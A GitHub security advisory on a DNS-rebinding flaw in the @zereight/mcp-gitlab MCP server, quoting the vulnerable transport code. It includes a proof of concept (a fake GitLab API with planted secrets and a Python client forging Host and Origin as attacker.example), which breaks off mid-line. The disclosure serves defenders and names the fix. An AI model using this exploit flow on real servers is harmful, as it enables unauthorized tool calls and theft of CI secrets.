GitHub Advisoryadvisory · npm
GHSA-vmp7-252j-cwp7 @zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport
CRITICAL
Official page ↗
- Aliases
- CVE-2026-61568
- Ecosystem
- npm
- Packages
- @zereight/mcp-gitlab
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-350
- Reviewed
- 2026-09-15
Affected packages
• npm @zereight/mcp-gitlab: < 2.1.30 → fixed in 2.1.30
Description
`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.
This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.
The vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:
```typescript
// index.ts:12077
app.use(express.json());
registerDownloadProxy(app);
```
The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:
```typescript
// index.ts:12375
transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => randomUUID(),
onsessioninitialized: (newSessionId: string) => {
streamableTransports[newSessionId] = transport;
metrics.totalSessions++;
metrics.activeSessions++;
},
});
```
The transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.
The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:
```typescript
// config.ts:192
export const HOST = getConfig("host", "HOST") || "127.0.0.1";
// config.ts:196
export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT);
```
The README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.
Proof of concept
The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:
• no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`;
• no-token `tools/list` is rejected with `401`;
• the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`;
• the fake GitLab API records the forwarded token and returns a planted fake project variable.
Start the fake GitLab API:
```bash
python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse
WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"
class Handler(BaseHTTPRequestHandler):
def _json(self, status, payload):
data = json.dumps(payload).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _record(self):
parsed = urlparse(self.path)
with open(WITNESS, "a", encoding="utf-8") as f:
f.write(json.dumps({
"method": self.command,
"path": parsed.path,
"query": parse_qs(parsed.query),
"authorization": self.headers.get("authorization"),
"private_token": self.headers.get("private-token"),
"job_token": self.headers.get("job-token"),
}, sort_keys=True) + "\n")
def do_GET(self):
self._record()
path = urlparse(self.path).path
if path == "/health":
self._json(200, {"status": "ok"})
return
if path.startswith("/api/v4/") and not (
self.headers.get("authorization") or
self.headers.get("private-token") or
self.headers.get("job-token")
):
self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
return
if path.endswith("/variables"):
self._json(200, [{
"key": "PRODUCTION_DEPLOY_TOKEN",
"value": FAKE_SECRET,
"protected": True,
"masked": False,
}])
return
self._json(200, {"ok": True, "path": path})
def log_message(self, fmt, *args):
return
ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY
```
In a second terminal, run the affected MCP server:
```bash
git clone https://github.com/zereight/gitlab-mcp.git
cd gitlab-mcp
git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
npm install
npm run build
STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js
```
In a third terminal, send MCP requests with attacker-controlled browser-origin headers:
```bash
python3 - <<'PY'
import json
import urllib.error
import urllib.request
TARGET = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN = "http://" + REBIND_HOST
TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"
def parse_rpc(text):
stripped = text.strip()
if stripped.startswith("{"):
return [json.loads(stripped)]
out = []
for line in stripped.splitlines():
line = line.strip()
if line.startswith("data:"):
out.append(json.loads(line[5:].strip()))
return out
class Client:
def __init__(self, token=None):
self.sid = None
self.token = token
def post(self, body):
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Host": REBIND_HOST,
"Origin": ORIGIN,
}
if self.token:
headers["Private-Token"] = self.token
if self.sid:
headers["Mcp-Session-Id"] = self.sid
headers["MCP-Protocol-Version"] = "2025-06-18"
req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=20) as res:
sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
if sid:
self.sid = sid
text = res.read().decode("utf-8", "replace")
return res.status, parse_rpc(text), text
except urllib.error.HTTPError as exc:
text = exc.read().decode("utf-8", "replace")
return exc.code, parse_rpc(text), text
def rpc(self, method, params=None, rid=1):
body = {"jsonrpc": "2.0", "id": rid, "method": method}
if params is not None:
body["params"] = params
status, messages, raw = self.post(body)
for msg in messages:
if msg.get("id") == rid:
return status, msg, raw
return status, {}, raw
def initialized(self):
self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})
def initialize(client, rid):
return client.rpc("initialize", {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": {"name": "dns-rebind-check", "version": "1"},
}, rid)
unauth = Client()
status, init, raw = initialize(unauth, 1)
print("unauth initialize:", status, "session:", unauth.sid)
unauth.initialized()
status, listed, raw = unauth.rpc("tools/list", {}, 2)
print("unauth tools/list:", st…
Related
Alias · CVE (1)
- CVE-2026-61568 `@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. vulnerability
Weakness · CWE (1)
- CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action weakness
References
- https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7 web
- https://github.com/zereight/gitlab-mcp/pull/555 web
- https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290 web
- https://github.com/zereight/gitlab-mcp package
- https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30 web